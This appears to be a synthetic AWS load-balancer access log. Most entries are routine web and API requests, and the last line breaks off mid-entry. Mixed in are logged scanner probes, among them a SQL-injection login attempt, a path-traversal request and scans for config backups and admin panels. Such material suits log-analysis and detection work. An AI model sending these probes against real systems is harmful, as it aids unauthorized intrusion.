185.181.187.26:14894 206.31.177.42:80 0.056343 0.273223 0.128548 301 301 584 2721 "GET /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d91e-97c40abead84435ca363cc4c" "-" "-" 10 2024-11-01T02:23:10.145435Z "forward" "-" "-" "206.31.177.42:80" "301" "-" "-" +https 2024-11-01T02:23:11.600212Z prod-api-alb 178.60.141.26:29234 10.0.108.1:443 0.018431 0.100024 0.065036 301 301 165 8069 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d91f-ee6ee9eae0414b1e805b5e03" "prod-api-alb.example.com" "-" 5 2024-11-01T02:23:11.600212Z "forward" "-" "-" "10.0.108.1:443" "301" "-" "-" +https 2024-11-01T02:23:11.736454Z prod-web-alb 241.102.69.206:59352 10.0.87.86:443 0.062849 0.290368 0.005280 404 404 183 8828 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d91f-ef4f7837ff5c47518059ae41" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:11.736454Z "forward" "-" "-" "10.0.87.86:443" "404" "-" "-" +https 2024-11-01T02:23:13.012286Z prod-web-alb 193.27.228.159:25701 10.0.69.194:443 0.027054 0.460857 0.028527 301 301 509 5879 "GET /phpmyadmin HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d921-d219e8f30f554c05a36acbde" "-" "-" 5 2024-11-01T02:23:13.012286Z "forward" "-" "-" "10.0.69.194:443" "301" "-" "-" +https 2024-11-01T02:23:13.401520Z prod-api-alb 46.71.74.62:19348 10.0.223.242:443 0.067953 0.133378 0.092937 200 200 976 11797 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d921-e80bbddb596240f2a0d17778" "prod-api-alb.example.com" "-" 1 2024-11-01T02:23:13.401520Z "forward" "-" "-" "10.0.223.242:443" "200" "-" "-" +http 2024-11-01T02:23:15.292630Z staging-alb 11.66.122.33:63758 76.228.224.15:80 0.109646 0.049810 0.023144 404 404 928 8942 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d923-c2fd5cf66d304126a096ebc9" "staging-alb.example.com" "-" 1 2024-11-01T02:23:15.292630Z "forward" "-" "-" "76.228.224.15:80" "404" "-" "-" +https 2024-11-01T02:23:16.215819Z prod-web-alb 177.206.48.151:56993 10.0.204.188:443 0.045438 0.277201 0.023330 302 302 334 13127 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d924-9bfe99006fa54e7facf2faad" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:16.215819Z "forward" "-" "-" "10.0.204.188:443" "302" "-" "-" +https 2024-11-01T02:23:18.046997Z prod-web-alb 107.140.48.183:11024 10.0.2.40:443 0.062577 0.186070 0.013598 200 200 402 6189 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d926-d98c2e4795d64ed19700a22a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:23:18.046997Z "forward" "-" "-" "10.0.2.40:443" "200" "-" "-" +https 2024-11-01T02:23:19.381846Z prod-api-alb 110.248.129.149:58677 10.0.106.79:443 0.072264 0.125325 0.044671 301 301 644 3969 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d927-5ff5f96b99bf45bd87512632" "prod-api-alb.example.com" "-" 7 2024-11-01T02:23:19.381846Z "forward" "-" "-" "10.0.106.79:443" "301" "-" "-" +https 2024-11-01T02:23:20.823403Z prod-api-alb 146.163.99.134:21874 10.0.242.77:443 0.000299 0.221976 0.035395 200 200 640 11784 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d928-3090781595ea40c894f77a66" "-" "-" 4 2024-11-01T02:23:20.823403Z "forward" "-" "-" "10.0.242.77:443" "200" "-" "-" +http 2024-11-01T02:23:21.985147Z staging-alb 127.181.173.23:57767 253.217.61.35:443 0.033441 0.711959 0.012530 200 200 531 6381 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d929-d56ea7d55d404865adbe0135" "staging-alb.example.com" "-" 2 2024-11-01T02:23:21.985147Z "forward" "-" "-" "253.217.61.35:443" "200" "-" "-" +https 2024-11-01T02:23:23.278964Z staging-alb 131.23.99.80:11364 126.133.169.39:80 0.066525 0.381908 0.125581 302 302 776 12440 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92b-d1ba54d22d8b47c8a015edd3" "staging-alb.example.com" "-" 1 2024-11-01T02:23:23.278964Z "forward" "-" "-" "126.133.169.39:80" "302" "-" "-" +http 2024-11-01T02:23:25.058683Z staging-alb 20.90.23.255:20259 213.49.41.219:8080 0.019198 0.337618 0.147628 301 301 930 8861 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d92d-fbc13c018f5a4ad1b6958bbb" "staging-alb.example.com" "-" 10 2024-11-01T02:23:25.058683Z "forward" "-" "-" "213.49.41.219:8080" "301" "-" "-" +http 2024-11-01T02:23:26.018361Z staging-alb 25.130.14.136:17091 197.222.179.139:443 0.067210 0.483294 0.099231 200 200 843 1734 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92e-f4a87b46e0bb4a16936b70ed" "staging-alb.example.com" "-" 5 2024-11-01T02:23:26.018361Z "forward" "-" "-" "197.222.179.139:443" "200" "-" "-" +https 2024-11-01T02:23:26.404117Z staging-alb 16.135.251.32:22324 228.145.188.231:8080 0.068333 0.326974 0.036053 200 200 602 12309 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92e-bfbe4a1815b944768aae0470" "staging-alb.example.com" "-" 8 2024-11-01T02:23:26.404117Z "forward" "-" "-" "228.145.188.231:8080" "200" "-" "-" +https 2024-11-01T02:23:27.283833Z prod-web-alb 193.27.228.8:18106 10.0.18.209:443 0.083494 0.075668 0.025266 500 500 722 13854 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d92f-cbb7b32241b64547b60349af" "-" "-" 0 2024-11-01T02:23:27.283833Z "forward" "-" "-" "10.0.18.209:443" "500" "-" "-" +https 2024-11-01T02:23:27.869500Z prod-api-alb 21.203.214.80:17759 10.0.155.36:443 0.009599 0.250236 0.027417 200 200 337 10423 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d92f-352b5bed72df4e34a01fc656" "prod-api-alb.example.com" "-" 6 2024-11-01T02:23:27.869500Z "forward" "-" "-" "10.0.155.36:443" "200" "-" "-" +http 2024-11-01T02:23:29.463977Z staging-alb 4.241.197.160:58353 230.77.226.41:8080 0.022999 0.597503 0.073544 200 200 602 234 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d931-6d788eefb3e04c1b8d278dd2" "staging-alb.example.com" "-" 10 2024-11-01T02:23:29.463977Z "forward" "-" "-" "230.77.226.41:8080" "200" "-" "-" +https 2024-11-01T02:23:29.715125Z prod-web-alb 45.155.205.14:41899 10.0.85.253:443 0.051723 0.110342 0.098531 403 403 949 9752 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d931-89486a784c7d40189a3487bf" "-" "-" 2 2024-11-01T02:23:29.715125Z "forward" "-" "-" "10.0.85.253:443" "403" "-" "-" +https 2024-11-01T02:23:30.456750Z prod-web-alb 55.159.227.49:21427 10.0.48.122:443 0.086230 0.344349 0.058069 200 200 563 5721 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d932-ad2aceae699940cb8eb8e9ef" "-" "-" 3 2024-11-01T02:23:30.456750Z "forward" "-" "-" "10.0.48.122:443" "200" "-" "-" +https 2024-11-01T02:23:31.447695Z prod-api-alb 233.47.72.145:50572 10.0.82.176:443 0.074181 0.163568 0.096377 200 200 513 11785 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d933-95326c3b2a054d3caa49f9d5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:31.447695Z "forward" "-" "-" "10.0.82.176:443" "200" "-" "-" +https 2024-11-01T02:23:32.244463Z prod-web-alb 73.20.37.120:40998 10.0.165.34:443 0.099095 0.000898 0.096281 404 404 659 8725 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d934-460d737f227e454e8424db3f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:32.244463Z "forward" "-" "-" "10.0.165.34:443" "404" "-" "-" +https 2024-11-01T02:23:33.739658Z prod-web-alb 185.181.245.151:54124 10.0.194.193:443 0.073930 0.145622 0.094812 401 401 840 3616 "POST /administrator HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d935-26c09b93a4b247e888b9f394" "-" "-" 3 2024-11-01T02:23:33.739658Z "forward" "-" "-" "10.0.194.193:443" "401" "-" "-" +https 2024-11-01T02:23:35.729444Z prod-api-alb 228.240.88.178:47799 10.0.109.147:443 0.021729 0.321888 0.029164 302 302 84 6496 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d937-a22f26c1590648d1b1698d65" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:35.729444Z "forward" "-" "-" "10.0.109.147:443" "302" "-" "-" +https 2024-11-01T02:23:36.706686Z prod-api-alb 224.127.206.89:40716 10.0.87.234:443 0.004428 0.156701 0.078073 200 200 545 6506 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d938-40209e5eee28454a8c85ff7d" "-" "-" 3 2024-11-01T02:23:36.706686Z "forward" "-" "-" "10.0.87.234:443" "200" "-" "-" +https 2024-11-01T02:23:38.308034Z prod-api-alb 188.120.158.72:61370 10.0.249.247:443 0.079575 0.301652 0.056026 200 200 144 10753 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d93a-b6a69790fed346e58edd4279" "prod-api-alb.example.com" "-" 3 2024-11-01T02:23:38.308034Z "forward" "-" "-" "10.0.249.247:443" "200" "-" "-" +https 2024-11-01T02:23:39.482890Z staging-alb 37.173.229.16:40461 176.197.10.6:443 0.002385 0.030983 0.035084 200 200 762 5250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d93b-42fbec5ee0884b898311117d" "staging-alb.example.com" "-" 2 2024-11-01T02:23:39.482890Z "forward" "-" "-" "176.197.10.6:443" "200" "-" "-" +http 2024-11-01T02:23:40.471016Z staging-alb 117.48.244.82:17809 248.241.64.1:80 0.087632 0.645642 0.012720 200 200 334 1383 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d93c-9a16a32eb0e34adbb4aae881" "staging-alb.example.com" "-" 3 2024-11-01T02:23:40.471016Z "forward" "-" "-" "248.241.64.1:80" "200" "-" "-" +https 2024-11-01T02:23:42.174286Z prod-web-alb 127.163.40.103:16026 10.0.228.145:443 0.095162 0.416406 0.049013 301 301 561 5574 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d93e-aa556fa461e5400d8cdb2fd2" "prod-web-alb.example.com" "-" 10 2024-11-01T02:23:42.174286Z "forward" "-" "-" "10.0.228.145:443" "301" "-" "-" +https 2024-11-01T02:23:43.268530Z prod-web-alb 212.121.57.6:48043 10.0.42.227:443 0.026299 0.379090 0.059661 200 200 671 2191 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d93f-49af9b2813ad4aa38bba8787" "prod-web-alb.example.com" "-" 2 2024-11-01T02:23:43.268530Z "forward" "-" "-" "10.0.42.227:443" "200" "-" "-" +https 2024-11-01T02:23:45.040279Z prod-web-alb 233.78.147.148:20093 10.0.77.162:443 0.009774 0.353537 0.034389 200 200 134 826 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d941-86f11e5cd7164b2c9fb1eae4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:23:45.040279Z "forward" "-" "-" "10.0.77.162:443" "200" "-" "-" +http 2024-11-01T02:23:45.727398Z staging-alb 231.177.191.239:48563 174.114.108.105:8080 0.077074 0.730628 0.113674 200 200 355 5749 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d941-641cce3149b34d68a4fcd80f" "staging-alb.example.com" "-" 1 2024-11-01T02:23:45.727398Z "forward" "-" "-" "174.114.108.105:8080" "200" "-" "-" +https 2024-11-01T02:23:47.354978Z prod-web-alb 52.188.196.66:33400 10.0.209.111:443 0.018509 0.148131 0.048833 200 200 767 7687 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d943-143dc840c2404bc2b9a660bc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:47.354978Z "forward" "-" "-" "10.0.209.111:443" "200" "-" "-" +https 2024-11-01T02:23:49.301836Z staging-alb 223.187.203.133:39066 60.232.9.131:8080 0.072253 0.623989 0.067681 301 301 514 4046 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d945-37573d863940411399a6e6d0" "staging-alb.example.com" "-" 7 2024-11-01T02:23:49.301836Z "forward" "-" "-" "60.232.9.131:8080" "301" "-" "-" +http 2024-11-01T02:23:50.360007Z staging-alb 235.25.212.78:63775 136.31.69.106:443 0.018112 0.145409 0.146237 200 200 492 13332 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d946-0883098f7a554606ade68ba3" "staging-alb.example.com" "-" 2 2024-11-01T02:23:50.360007Z "forward" "-" "-" "136.31.69.106:443" "200" "-" "-" +https 2024-11-01T02:23:52.226907Z prod-web-alb 240.142.181.75:63876 10.0.240.113:443 0.014148 0.249007 0.042192 302 302 162 1601 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d948-41d88bb773ce47f39c247be1" "-" "-" 8 2024-11-01T02:23:52.226907Z "forward" "-" "-" "10.0.240.113:443" "302" "-" "-" +https 2024-11-01T02:23:53.371885Z prod-api-alb 162.76.229.6:10580 10.0.151.190:443 0.010795 0.438478 0.052744 200 200 560 8740 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d949-68583a13c5e447e1a4c0910b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:23:53.371885Z "forward" "-" "-" "10.0.151.190:443" "200" "-" "-" +http 2024-11-01T02:23:54.474514Z staging-alb 85.170.0.22:45816 22.107.206.214:8080 0.100451 0.312261 0.096880 200 200 503 10735 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d94a-fe1e211b56eb4cd388a8a60a" "-" "-" 1 2024-11-01T02:23:54.474514Z "forward" "-" "-" "22.107.206.214:8080" "200" "-" "-" +https 2024-11-01T02:23:54.943992Z prod-web-alb 55.137.29.31:45397 10.0.10.188:443 0.048147 0.406809 0.007263 200 200 72 4523 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94a-ca649e2d3df2426a92106a04" "prod-web-alb.example.com" "-" 5 2024-11-01T02:23:54.943992Z "forward" "-" "-" "10.0.10.188:443" "200" "-" "-" +https 2024-11-01T02:23:55.190102Z prod-api-alb 103.41.31.122:23640 10.0.174.252:443 0.048710 0.049324 0.060342 200 200 153 6781 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d94b-94dd3d3bd9fe4082b2174d6b" "prod-api-alb.example.com" "-" 8 2024-11-01T02:23:55.190102Z "forward" "-" "-" "10.0.174.252:443" "200" "-" "-" +https 2024-11-01T02:23:55.611234Z prod-api-alb 44.95.110.155:54748 10.0.136.28:443 0.084202 0.163395 0.005042 200 200 982 14847 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d94b-317a24ce93c448abb87ebaf5" "prod-api-alb.example.com" "-" 6 2024-11-01T02:23:55.611234Z "forward" "-" "-" "10.0.136.28:443" "200" "-" "-" +https 2024-11-01T02:23:57.423458Z prod-web-alb 64.252.64.80:48624 10.0.199.227:443 0.056370 0.190956 0.013319 200 200 959 5897 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94d-2cd015320985487180b566a6" "prod-web-alb.example.com" "-" 8 2024-11-01T02:23:57.423458Z "forward" "-" "-" "10.0.199.227:443" "200" "-" "-" +https 2024-11-01T02:23:57.596321Z prod-web-alb 252.147.153.0:61929 10.0.237.207:443 0.060948 0.210912 0.021833 200 200 203 12969 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94d-b20957aafba545cfad8c1bcb" "prod-web-alb.example.com" "-" 4 2024-11-01T02:23:57.596321Z "forward" "-" "-" "10.0.237.207:443" "200" "-" "-" +http 2024-11-01T02:23:57.761243Z staging-alb 135.142.64.171:47442 35.231.35.96:8080 0.100008 0.635648 0.036948 200 200 395 9713 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d94d-e4d9ed90d53948a59cc58bb7" "staging-alb.example.com" "-" 0 2024-11-01T02:23:57.761243Z "forward" "-" "-" "35.231.35.96:8080" "200" "-" "-" +http 2024-11-01T02:23:58.323097Z staging-alb 166.220.21.238:25430 76.64.131.179:80 0.042353 0.366617 0.123959 200 200 380 11938 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d94e-1b67b8556688465e873a2f0f" "staging-alb.example.com" "-" 0 2024-11-01T02:23:58.323097Z "forward" "-" "-" "76.64.131.179:80" "200" "-" "-" +https 2024-11-01T02:23:58.779141Z prod-web-alb 47.170.17.90:48692 10.0.97.44:443 0.037438 0.136579 0.008940 200 200 729 3830 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d94e-4eacbbfdfe804927a9bebfd2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:23:58.779141Z "forward" "-" "-" "10.0.97.44:443" "200" "-" "-" +https 2024-11-01T02:24:00.396794Z prod-api-alb 56.159.14.226:15527 10.0.111.166:443 0.063783 0.174560 0.011513 404 404 396 236 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d950-ea7bb1df7c0e4ed599db914d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:00.396794Z "forward" "-" "-" "10.0.111.166:443" "404" "-" "-" +https 2024-11-01T02:24:01.223475Z prod-web-alb 142.97.140.188:41646 10.0.23.17:443 0.081452 0.276329 0.046853 404 404 371 7776 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d951-d13437ca8e424f4cb2abf296" "prod-web-alb.example.com" "-" 10 2024-11-01T02:24:01.223475Z "forward" "-" "-" "10.0.23.17:443" "404" "-" "-" +https 2024-11-01T02:24:02.925160Z prod-api-alb 93.151.146.210:51233 10.0.185.61:443 0.014449 0.347943 0.075431 200 200 964 1568 "GET /api/v2/users HTTP/1.1" 